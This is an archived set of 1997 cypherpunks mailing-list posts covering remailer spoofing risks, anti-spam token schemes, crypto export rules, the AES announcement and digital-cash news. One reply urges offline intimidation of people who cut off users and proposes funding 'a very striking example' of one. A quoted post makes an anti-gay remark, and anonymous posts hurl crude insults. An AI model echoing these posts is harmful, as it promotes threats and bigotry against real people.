Date: Thu, 02 Jan 1997 02:11:04 PST
Subject: E-Cash IPO!  PCweek Mag!

    E-Cash IPO!   625,000 shares  -  $1.60 per share

            As seen in PCweek online magazine:
       http://www.pcweek.com/news/0826/27email.html

"E-commerce  startup offers digital cash to each user who
retrieves advertising  e-mail from its web site.  Digital
currency units can be converted into US dollars, Japanese
yen, Swiss francs, and German marks."

Millennium Interactive Technologies, developer of the first
ever system of advertiser funded digital cash system. (DCU)
is offering  625,000  common shares directly to the public.
The offering price is $1.60 per share.

Qualified  investors  can  obtain  a  printed  copy of the
offering  prospectus,  demo disk, and  additional  info on
how  you can  earn digital  cash for  looking at e-mail by
sending reply to:  mailto:latham@softcell.net





--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.vmeng.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stephen Boursy <boursy@earthlink.net>
Date: Thu, 2 Jan 1997 04:00:27 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: "Cypher punks" display arrogance and stupidity in the new year
In-Reply-To: <Pine.BSI.3.95.970101221025.12048B-100000@aloha.com>
Message-ID: <32CBA432.5EED@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr. Jai Maharaj wrote:
> 
> On Wed, 1 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
>> ... Much of the time on the Internet, when some asshole pulls
>> plugs and tries to silence dissent, he turns out to be Gay....
> 
> How true!  The pattern seems to applt to most of the censors
> operating from the sewer known as lava.net .
> 
> Jai Maharaj
> Om Shanti


  Well--I could care less about their sexual preference but what
I do care about it proper justice/vengence.  When someone pulls
a users plug for anything short of system cracking they need
to be dealt with in such a way offline that the rest of the would
be censors are afraid to go to bed at night.  

   Quite seriously--and I believe we should move that discussion 
to one of the secure lists and perhaps even raise a bit of money 
to make a very striking example of a plug puller--I personally 
despise them in a manner that cannot even be put into words.

                          Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 2 Jan 1997 07:18:25 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <3.0.32.19970102084815.006ab364@smtp1.abraxis.com>
Message-ID: <32CBD170.622C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> At 09:28 AM 12/31/96 -0800, you wrote:
> :So in order to post here, I hafta install and run PGP?  Well, people
> :were looking for the perfect formula to deny service to guys like me,
> :and guess what?  You found it!  I will *not* install and run PGP.

> Fill me in. Why do you  choose not to install and run PGP?

The only "software" I have newer than 1989 is Win95 and Netscape.
I only run these on one computer, to make net and email access easier.
My other computers run straight MS-DOS.  I had UNIX in 1986 on a
portable HP computer, but HP dropped support for it (what else is new).

If I had the time to do it, and I could get a concise written spec of
how to interface with whatever I need to, I'd write my own O/S and
datacomm software. So I make compromises where necessary for expediency.

PGP to me is not necessary (I can encrypt without it), but I do recognize
its proliteriat values.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Laszlo Vecsey <master@internexus.net>
Date: Thu, 2 Jan 1997 04:57:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: anonymous <-> anonymous; dcnets
Message-ID: <Pine.LNX.3.95.970102075601.1209A-100000@micro.internexus.net>
MIME-Version: 1.0
Content-Type: text/plain


Can someone point me towards a mailing list or two that is dedicated to
the discussion and development of dcnets?

Thank you!

- Lester

-
A recent study has found that concentrating on difficult off-screen
objects, such as the faces of loved ones, causes eye strain in computer
scientists.  Researchers into the phenomenon cite the added concentration
needed to "make sense" of such unnatural three dimensional objects.
-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 2 Jan 1997 06:02:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Cypher punks" display arrogance and stupidity in the new year
In-Reply-To: <199701020620.AAA17713@manifold.algebra.com>
Message-ID: <T2owZD2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> >
> > Here's a neat trick: if you want to list a file with line numbers, try:
> >
> > grep -n "^" file
>
> cat -n works faster.

Did you time it?

> > Of course this is too technical for the "cypher punks".
>
> 	- Igor.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 2 Jan 1997 06:04:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Extremism in the defense of liberty is no vice
In-Reply-To: <Pine.SOL.3.94.970102084101.17361A-100000@ritsec1.com.eg>
Message-ID: <k5owZD3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ABB Electrical Engineering  <abbee@ritsec1.com.eg> writes:

> Again, can anyone tell me how I can stop receiving this mail. I have to
> stay off for a month and I am afraid I will not be able to read it.

Is .eg in Egypt?

> Thanks & Happy New Year

Happy New Year to you too.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ABB Electrical Engineering  <abbee@ritsec1.com.eg>
Date: Wed, 1 Jan 1997 22:41:08 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Extremism in the defense of liberty is no vice
In-Reply-To: <32CB2A77.218F@gte.net>
Message-ID: <Pine.SOL.3.94.970102084101.17361A-100000@ritsec1.com.eg>
MIME-Version: 1.0
Content-Type: text/plain





Again, can anyone tell me how I can stop receiving this mail. I have to
stay off for a month and I am afraid I will not be able to read it.

Thanks & Happy New Year















On Wed, 1 Jan 1997, Dale Thorn wrote:

> Bill Frantz wrote:
> > At 10:54 AM -0800 12/31/96, Timothy C. May wrote:[snip]
> > I would say that the street action which effectively eliminated legally
> > mandated racial segregation about 25 years ago qualifies as a revolution.
> > People certainly put their bodies, and occasionally their lives, on the
> > line for it.  It didn't happen because the political powers that be decided
> > to do it.  It happened because people mobbed in the streets and made it
> > happen. The same argument applies to the actions which forced the withdrawal
> > from Vietnam. With the end of the cold war, and the ensuing reduction in
> > need for the entrenched national security establishment, we may be ripe
> > for another one. I personally hope our government will continue to show
> > that it is civilized by keeping the blood shed to a minimum.
> 
> I'll tell you exactly what they'll show.  They are a *lot* more hardened
> to civil unrest than they were at Kent State, etc.  This time, as in the
> late 1970's, the leaders, organizers, and other influential people will
> be removed, one way or the other.  Dissidents will be allowed, as long
> as (like Chomsky) they're not a real threat.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Thu, 2 Jan 1997 05:47:25 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Hardening lists against spam attacks
Message-ID: <3.0.32.19970102084815.006ab364@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:28 AM 12/31/96 -0800, you wrote:
:
:So in order to post here, I hafta install and run PGP?  Well, people
:were looking for the perfect formula to deny service to guys like me,
:and guess what?  You found it!  I will *not* install and run PGP.

Fill me in. Why do you  choose not to install and run PGP?


Cordially,

Alec                   

PGP Fingerprint:
Type bits/keyID    Date       User ID
pub  1024/41207EE5 1996/04/08 Alec McCrackin <camcc@abraxis.com>
          Key fingerprint =  09 13 E1 CB B3 0C 88 D9  D7 D4 10 F0 06 7D DF 31 
                             





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Thu, 2 Jan 1997 05:53:18 -0800 (PST)
To: JohnnyDaven@aol.com
Subject: Re: Would you be interested in SPAM?
Message-ID: <3.0.32.19970102085415.0069c7dc@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:51 AM 1/1/97 GMT, you wrote:

To cypherpunks@toad.com

:You can save a substantial amount of money on your next Florida
:Vacation and receive an adult pass to Universal Studios.
:
No adults here, Spamboy.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Thu, 2 Jan 1997 00:10:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: One-time pads
Message-ID: <199701020810.JAA21429@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


The arrival of warm weather is heralded by the pig shit (or whatever 
kind of shit Intel swines have for brains) getting soft in Timmy 
C[rook] Mayhem's mini-cranium and the resulting green slime seeping 
through his cocaine- and syphilis- damaged nose and onto his keyboard.

           o_,   o
          <\__, v|> Timmy C[rook] Mayhem
           |    < \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Liz Taylor <liz@nym.alias.net>
Date: Thu, 2 Jan 1997 01:26:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: premail.
In-Reply-To: <199612310718.BAA02863@manifold.algebra.com>
Message-ID: <19970102092611.13841.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


rcgraves@disposable.com (Rich Graves) wrote:
> Big Moma wrote:
> > 
> > ichudov@algebra.com (Igor Chudov @ home) wrote:[...]
> > > Maybe remailer operators should asks someone reputable to sign their
> > > remailers' keys so that the users can easily verify the signatures.
> > 
> >         Yes, that is one part of it. Another part is that Raph should
> > include a public PGP key in the premail program and then sign both the
> > remailer-list and the pubring at kiwi.cs.berkeley.edu with it.
> 
> Those resources are automatically generated by programs running on a 
> machine of unverified security on the Internet. A PGP signature doesn't 
> mean much in such a situation.

	Agreed. Considering that the remailer chains were designed to
withstand such sofisticated attacks as traffic analysis, it is too bad
the tool which most people probably use to access the remailers is
vulnerable to a simple spoofing attack such as this.

	I just realized that the spooks do not really need multiple
Mallories. If they want to wiretap a particular person, a Mallory on his/her
Internet link is all that is needed. This Mallory can spoof both the incoming
pubring.pgp and the outgoing encrypted mail.

	I suggest that if the `cypherpunks write code' motto has still
any value, we discuss ways to eliminate this vulnerability from premail.
Maybe we should take the discussion to cryptography, or coderpunks,
or even premail-dev?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 2 Jan 1997 07:38:39 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: "Cypher punks" display arrogance and stupidity in the new year
In-Reply-To: <T2owZD2w165w@bwalk.dm.com>
Message-ID: <199701021534.JAA20818@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> ichudov@algebra.com (Igor Chudov @ home) writes:
> 
> > Dr.Dimitri Vulis KOTM wrote:
> > >
> > > Here's a neat trick: if you want to list a file with line numbers, try:
> > >
> > > grep -n "^" file
> >
> > cat -n works faster.
> 
> Did you time it?
> 

Yes, I wrote a prog that quickly prints a specified number of lines
(see below). Then I piped the output of that program to cat -n and
grep, respectively, and here's what I got:

manifold::~/tmp==>./a.out 1000000 | /usr/bin/time cat -n > /dev/null
1.32user 0.05system 0:01.62elapsed 84%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (46major+17minor)pagefaults 0swaps

manifold::~/tmp==>./a.out 1000000 | /usr/bin/time grep -n '^' > /dev/null
19.75user 0.04system 0:20.71elapsed 95%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (88major+26minor)pagefaults 0swaps


The difference is about fifteen times.

	- Igor.


#include <stdio.h>

main( int argc, char *argv[] )
{

  int n = atoi( argv[1] );

  for( ; n; n-- )
    putchar( '\n' );
}




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 2 Jan 1997 07:28:15 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: Extremism in the defense of liberty is no vice
In-Reply-To: <v03007801aeef0dff9afe@[207.167.93.63]>
Message-ID: <199701021523.KAA14949@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain




Timothy C. May wrote:

| >The cypherpunks have virtually no force at all.  If the battle is
| >moved to that arena, the cypherpunks (and everybody else) lose big
| >time.  If the cypherpunks manage to pull off some sort of "extreme
| >step", those who aren't shot while resisting arrest will go to prison.
| >Worst of all, most people will applaud the action.  "Extreme steps"
| >legitimize the radical proposals of the Clipper crowd.
| 
| I gave up on trying to "appear reasonable" long ago. Take it or leave it.
| 
| "Extreme step" doesn't mean doing anything that is traceable to a
| particular person, and certainly doesn't mean doing militia-type things to
| physical buildings or the criminals who work in them.
| 
| Rather, pushing for things like violating the ITARs, which we do. (Bill
| Frantz noted, tongue in cheek I think, that Cypherpunks do not adovacate
| breaking such laws. Well, this is of course absurd. Our whole focus on
| steganography, on remailers, on carrying CD-ROMs out of the country, etc.,
| is basically advocating various circumventions of USG laws.)
| 
| Gilmore's SWAN (getting machine-to-machine links widely encrypted) is
| another "extreme step."
| 
| As to our "reasonableness," I make little effort to hide the fact that I
| support strong cryptography because it means that the plague of democracy
| and "mob rule" can be turned back...I view crypto anarchy as an elitist
| development, one which the ubermensch will appreciate, but the masses will
| recoil in horror from.
| 
| Fuck the herd.

	Crypto anarchy is not an elitist development, nor is
'equalizing.'  The privacy and tax avoidance features of crypto
anarchy are already available to the very wealthy, as Unicorn can
doubtless explain.  They are not available to the moderately wealthy,
nor are they easy to take advantage of.

	I'll declare victory the day McSwitzerland starts advertising
for business in the pages of Newsweak.

	Cheap, easy, universal access to the techniques of tax
avoidance, binding contracts with escrowed bonds in jurisdictions with
unemasculated contract law mean that things available only to the very
rich are available to anyone who chooses to use them.

	Tim sees this as eliteness, since those who gain will be self
selected.  I see it as a democritization of privacy, one the
'masses' will be glad to be involved with, if its presented properly.
(See 'The Great Simoleon Caper' for more on proper presentation.)


Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Thu, 2 Jan 1997 11:44:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
Message-ID: <199701021834.KAA07300@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


I think this is an interesting theoretical discussion, although it's
not clear whether it is actually a good idea to try implementing this.

From: nobody@replay.com (Anonymous)
> A very good scheme, but why not give each subscriber a token when s/he
> subscribes? Something along the lines of:
>
> - - - - - - - - - - - - - - - - - - - -
> Welcome to Cypherpunks.
>
> Your unique token is: 0A553FC1771623109504522E31C07F44
>
> This token must appear either as the first line of the message body or in an
> X-Token: header for any mail you send to the list. Any messages sent to the
> list
> address without this information will be discarded.
> [...]
> Bob wants to post something anonymously. His token isn't associated with his
> user ID -- the only thing Majordomo knows about it is that it's in the token
> file and it's flagged as active. He sends the message through the remailer
> network with his token in it, and Majordomo validates it, strips it out, and
> passes the message to the subscribers, decrementing the number of messages Bob
> has remaining for that day.

This requires Bob to trust the server to keep his identity secret.
Although you _say_ that majordomo didn't associate the token with
the userid, how does Bob know that?  Certainly majordomo did, when
Bob subscribed, see the association between the userid and the token.
Now he has to trust that it has been forgotten.  Even if it has, what
about eavesdroppers on the list channel?  What about the operator on the
machine, who is peeking at what majordomo is doing?  This mechanism will
not provide enough anonymity for most posters.

An alternative similar to what I proposed earlier is for majordomo to
provide a blinded token, one which it doesn't see.  This would be used
specifically for anonymous postings.  It does have the problem that it
allows linking postings by the same pseudonymous nym - all will have the
same token.  But maybe we want to encourage that.

(The full proposal I made involved use-once tokens, just like online
digital cash, so that there would be no linkage and it would allow
real anonymity.)

> Mallory wants to spam the list. He subscribes and gets a token, which he
> uses to
> forward commercial announcements to the list. The list manager checks the logs
> to see which token was used, and reduces its posting limit or invalidates it.
> Mallory is no longer allowed to post, unless his token is reinstated (or he
> unsubscribes and resubscribes).

This unsubscribe/resubscribe issue has been mentioned before as a problem.
I am not too concerned with it, for a few reasons.  First, it may not be
too difficult to recognize that it is happening.  If the same user name is
used we can prevent issuing new tokens on an unsubscribe/resubscribe cycle.
If different user names are used but common domain names (an attack which
many people could mount) we could recognize that with somewhat more difficulty,
and mark those domains as special.  Most people would have trouble getting
lots of different accounts with different domain names.  Eric Hughes maxim,
"all crypto is economics", applies here.  We can easily make it much more
difficult for flooding attacks to occur.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 2 Jan 1997 07:43:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: FIPS for AES
Message-ID: <1.5.4.32.19970102153923.006bfbf0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Federal Register: January 2, 1997, Pages 93-94.
 
Announcing Development of a FIPS for Advanced Encryption Standard

Agency: NIST
Notice; Request for comments.

-----------------------------------------------------------------------

Summary: A process to develop a FIPS for Advanced Encryption Standard 
(AES) incorporating an Advanced Encryption Algorithm (AEA) is being 
initiated by the NIST. It is intended that the AES will specify an 
unclassified, publicly disclosed encryption algorithm capable of 
protecting sensitive government information well into the next century.

[Described as a successor for DES by 1998.]

-----

http://jya.com/aes010297.txt  (8K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: alzheimer@juno.com (Ronald Raygun Remailer)
Date: Thu, 2 Jan 1997 08:08:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Copyright violations
Message-ID: <19970102.100832.12295.0.alzheimer@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Happy New Year.


Associated Press: Monday, December 23, 1996
 
Three Credit Card Firms Seek To Promote Internet Shopping 
 
Three credit card companies on Monday announced an agreement on chip card

standards in an
effort to promote shopping on the Internet. 
 
Europay International, MasterCard International and Visa International
said in 
a statement that they'll
integrate in chip bank cards a technology developed for safe electronic 
payments. 
 
The agreement is based on the Europay-MasterCard-Visa specification,
which 
established the
financial industry's first global chip card payment infrastructure, and
on 
MasterCard and Visa's
Secure Electronic Transactions specification for magnetic stripe-based
card 
transactions. 
 
Guido Heyns, director of 'smart card' development at Europay
International, 
said in the statement
that the Belgium-based company believes chip cards are the most secure
and 
consumer-friendly
solution for making payments on the Internet. 
 
Steve Mott, senior vice president of MasterCard International, agreed. 
'Consumers and merchants
want to conduct transactions over the Internet in a safe manner. By
integrating 
chip and electronic
commerce technologies, we are offering them the opportunity to do so as
quickly 
and practically as
possible.' 
 
An open comment period on the new standard will begin in the third
quarter of 
1997, according to
the statement. 
 

 
American Banker: Monday, December 23, 1996
 
As the Technology Advances, Security Debate Still Rages
 
By JEFFREY KUTLER
 
In one of the more startling public statements by a banker in 1996,
Citicorp 
chairman John Reed
said it would take two generations -- 50 to 70 years -- for on-line
electronic 
banking to gain full
public acceptance. 
 
Taken out of context, his remarks to a Treasury Department conference on 
electronic money
sounded like an invitation to complacency, or a dose of disinformation
from one 
of the world's more
aggressive purveyors of electronic financial services.
 
But Mr. Reed chose his words carefully, citing a lesson learned from his 
30-plus years at Citicorp:
Banking markets, and society generally, take time to change. He seemed to

suggest that
high-technology advocates can become so enthralled with the elegance of
their 
systems and
convinced of their viability that they overlook the most common of all 
constraints: consumer
behavior.
 
"Privacy and security are at the top of the list" of consumers' concerns,
the 
Citicorp chief executive
said. "They won't deal with anyone who doesn't give them assurance."
While 
"some early innovators
will be your electronic banking customers," he said, "the average
consumer is 
not there yet and isn't

going to be there" for some time. "This is not a question of economics or

efficiency. It is a question of
trust. The consumer will have to trust you. The Internet is fundamentally

flawed in that regard."
 
Essentially alone among the major U.S. banking organizations, Citicorp
has been 
openly wary of
Internet security and refrained from joining the rush to interactive
banking 
and monetary transactions
via the World Wide Web. Mr. Reed and his senior technology officer, Colin
Crook,
 have publicly
expressed interest in and enthusiasm for the Web but not yet for
transactional 
purposes.
 
When Mr. Reed was asked during the Treasury conference in September when
Citi 
would offer
Internet banking, he replied, "Not until it's secure." "There is no
absolute 
security," said Mr. Crook,
perhaps the only banker raising concerns about an "information warfare"
attack 
on the banking
system. "It is a risk management issue."
 
The Citibankers contend the risks of cyberspace are fundamentally
different 
from those in other
payment systems, and have yet to be addressed.
 
"Security will be more demanding than even the government itself is used
to," 
Mr. Crook said at the
Treasury meeting
 serves more customers via personal computer than any other, through 
conventional dial-up
connections and with software it developed more than a decade ago. 
 
Citibank also has placed a bet on a digital currency for on-line
transactions, 
the invention of one of
its own vice presidents, Sholom Rosen. The bank claims it will be more
secure 
than competing
alternatives like Cybercash Inc.'s Cybercoins, Digicash Inc.'s Ecash, and
the 
Mondex
smart-card-based system.
 
Putting considerable prestige and intellectual firepower behind its
cautionary 
principles, and behind
the notion that the issuing of electronic currency should be reserved for

regulated financial
institutions, Citicorp has kept alive a debate that is likely to resound
for 
months if not years in public
policy circles, with effects not just on the battle for technical and 
competitive superiority but on the
very consumer behavior Mr. Reed is trying to gauge.
 
Consider some recent twists and turns: The U.S. government continues to 
struggle toward a policy
on data encryption, the technology crucial to on-line transaction
security, 
that would be agreeable to
the high-tech community while addressing national security and law
enforcement 
concerns.
 
A May 1996 report by the National Research Council of the National
Academy of 
Sciences --
Citicorp participated in and vocally endorsed the study -- criticized the

government for being
backward with its restrictions on encryption, particularly regarding its
export.
 (See related article on
page 14A.)
 
Hewlett-Packard Co. in November announced its International Cryptography 
Framework, the first
"strong encryption" method to get U.S. export clearance. While the
framework is 
adaptable to
various and changing government policies, it did not fully resolve the 
controversial issue of access to
encryption keys. 
 
An information security team at the National Security Agency produced a 
monograph (excerpted at
left) critical of the degree of anonymity built into Digicash's Ecash.
The NSA, 
of course, is part of the
establishment attacked in the National Research Council report.
 
Digicash and Mondex, which is being taken over by MasterCard
International, 
continually trade
charges about their degrees of anonymity and security. Both sell
anonymity of 
payments as a
necessary analogue to cash. In that Digicash's anonymity appears more
absolute, 
it may raise more
governmental concerns. But Digicash, the brainchild of the renowned 
cryptologist David Chaum,

accuses Mondex of not being "true electronic cash." 
 
First Virtual Holdings Inc., an Internet payment pioneer, does not trust
Web 
security; its transaction
data flow instead over private E-mail. By contrast, Cybercash Inc.
chairman 
William Melton is so
confident of the available technology that he tells bankers: "Security is

essentially done. Just tell your
customers, 'Don't worry, we'll take care of it.' " (He is more worried
about 
privacy as a political
flashpoint.)
 
Enter the central banks of the Group of 10 industrialized countries, the 
constituents of the Bank for
International Settlements in Basel, Switzerland. This august global
regulatory 
body has signed off on
a moderate, largely laissez-faire approach to the electronic evolution of
money.
 
 
A task force empaneled by the G-10's payment and settlement systems
committee, 
which is headed
by Federal Reserve Bank of New York president William McDonough, spelled
out 
its conclusions
in a 64-page booklet, "Security of Electronic Money," dated August 1996. 
 
The task force was generally impressed by existing security capabilities,

particularly those
incorporating hardware components like smart cards. The report took the 
eight-member task force
less than a year to complete. 
 
Chairman Israel Sendrovic, the New York Fed's executive vice president of

automation and systems
services, asserts that this was no rush to judgment. He personally did
due 
diligence on all of what he
calls "the usual suspects" -- the electronic money schemes not mentioned
by 
name in his report (but
presumably in this article).
 
In a recent interview, Mr. Sendrovic stressed that there are no
absolutes. 
"There is no such thing as
one secure measure," he said. "It's a combination of measures, and the 
combination of measures
changes the risk management of an attack."
 
His measured response to a lot of questions - pertaining to money
laundering or 
the market potential
of electronic currency and how it is to be regulated -- was, "It
depends." He 
did say, in response to
the recent flurry of questions about smart card security emanating from 
Bellcore and other research
laboratories, that the cards were advertised as "tamper-resistant, not
tamper- 
proof." 
 
Mr. Sendrovic said his panel has disbanded, satisfied with its work and
having 
gotten positive
feedback. "Then again, it didn't break new ground," he said. "Remember,
it was 
designed not for the
cognoscenti but for the Group of 10 governors. 
 
"We stay in close touch and follow these things," he said of the task
force, 
adding that it may have
cause to renew its inquiry in a year or two. Though the task force
acknowledged 
"comprehensive
security risk assessments of the entire system" are still lacking, it
said they 
are within reach. 
 
And its words lacked the alarm or urgency of, say, the Citicorp
contingent. 
Sholom Rosen, inventor
of Citibank's Electronic Monetary System, characterized the risks as
"very 
high" and not yet fully analyzed. Digital cash gains legitimacy when it
is interchangeable with other  forms of money, he said, but its
interactions with those systems -- how an attack on one mechanism would 
affect others -- must be studied.
 
And he said he believes the answers do not lie in technology alone but in
the 
fundamentals of the "three pillars of security" -- prevention, detection,
and containment. Where Mr. Rosen sees enormous hazard, Mr. Sendrovic
retains faith in barriers to entry, as might be  expected of someone who
has worked with the dependable Fed Wire for many years.
 
To be legitimate, electronic money "has to be cleared," he said. "At some
point  it has to get into the payment system." Is "the payment system" at
risk of infection from the new  forms of money? Based on what we know so
far, it depends.
 

 ABA Banking Journal, 12/96

SMART CARDS POSE TAX PROBLEM FOR MERCHANTS  

A consensus is emerging that the success of smart cards hinges at least
as much on merchants accepting them as on consumer acceptance. Increased
tax liability is one reason for merchants' muted enthusiasm -- besides
the fact that merchants are the only ones so far being asked to pay for
using smart cards."There's a resistance to forms of payment besides
cash," said Bruce Brittain, whose firm Brittain Associates, Inc., polled
merchants that participated in the smart card test during the 1996 Summer
Olympics in Atlanta. Some merchants admitted to understating their cash
receipts so as to reduce their tax burden, he said. (Smart cards leave an
electronic audit trail by recording deductions in card value each time
merchandise is purchased.)  On the flip side, franchisors may push for
the adoption of smart cards in their stores, since some Atlanta operators
told Brittain, "We want to collect more fees from our franchisees." (The
franchisor's cut of the receipts will be reduced if the franchisee
understates his receipts.) Other sources said they heard the same thing.
The wish to under report receipts may pose a greater obstacle to smart
cards when they undergo their next major test in New York City next year,
because more "Mom and Pop" stores will be participating, Mr. Brittain
said.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 2 Jan 1997 08:39:57 -0800 (PST)
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: benefits of EAR (not)?
In-Reply-To: <199701011823.SAA01596@server.test.net>
Message-ID: <199701021635.LAA15145@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:

| Reading through "http://jya.com/bxa123096.txt":
| 
| >     1. This interim rule has been determined to be significant for
| > purposes of E.O. 12866. A cost benefit analysis has been prepared and
| > is available upon request by contacting James A. Lewis at (202) 482-
| > 0092.
| 
| Anyone availed themselves of this offer of a CBA for EAR?  Just
| curious as to what the supposed benefits are :-)

	I called that number, was told I needed to talk to Bruce Kutz,
202 482 4439, who offered to fax it to me, but since I'll be pretty
busy I had him snail mail it.  Easier to read that way.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clinton Weiss <Chipper@cris.com>
Date: Thu, 2 Jan 1997 10:09:22 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: benefits of EAR (not)?
In-Reply-To: <199701021635.LAA15145@homeport.org>
Message-ID: <Pine.SUN.3.95.970102130849.10477A-100000@voyager.cris.com>
MIME-Version: 1.0
Content-Type: text/plain


get me the hell off this damn list





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Thu, 2 Jan 1997 13:42:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New crypto regulations
In-Reply-To: <32cc13c3.83442324@kdn0.attnet.or.jp>
Message-ID: <5ah9ub$7th@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <199612301517.KAA01543@pdj2-ra.F-REMOTE.CWRU.Edu>,
Peter D. Junger <junger@pdj2-ra.F-REMOTE.CWRU.Edu> wrote:
> 
> : Does this mean that if a journal published an article on some strong
> : non-key escrow encryption algorithm that included source code, it
> : could not later offer that same article on a CD-ROM collection?  or
> : provide that same source code online?
> 
> That is exactly what the new regulations seem to provide.  An interesting
> question is what is the status of all those issues of Byte and Dr.
> Dobb's that do have cryptopraphic source code and that are currently
> available on the net.  Or are there any such articles?
> 

Here's one.  Ian Goldberg and I wrote a Dr. Dobb's Journal article on
Netscape's insecure random number generation.  It contained a few short
snippets of code that described how Netsape's PRNG seeding process
worked.  I believe that they may fall under the category of 'cryptographic
source code'.  And...guess what... DDJ in fact published the article
online at

http://www.ddj.com/ddj/1996/1996.01/wagner.htm

Here's a citation:

Ian Goldberg and David Wagner.  "Randomness and the Netscape Browser".
Dr. Dobb's Journal, January 1996.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Thu, 2 Jan 1997 11:25:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: NoneOne-time pads
Message-ID: <199701021924.OAA19621@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May is just a poor excuse for an unschooled, 
retarded thug.

        /'''
        c-OO Tim May
           \
          -





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 2 Jan 1997 14:40:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: New rules for Internet sales to CA buyers
Message-ID: <3.0.32.19970102144026.0069bc00@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



The following subsection of California Business & Professions Code section
17538 took effect 1/1/97 and may be of interest to people following state
attempts to regulate net sales:

[...]
   (d) A vendor conducting business through the Internet or any other
electronic means of communication shall do  all of the following
when the transaction involves a buyer located in California:
   (1) Before accepting any payment or processing any debit or credit
charge or funds transfer, the vendor shall disclose to the buyer in
writing or by electronic means of communication, such as E-mail or an
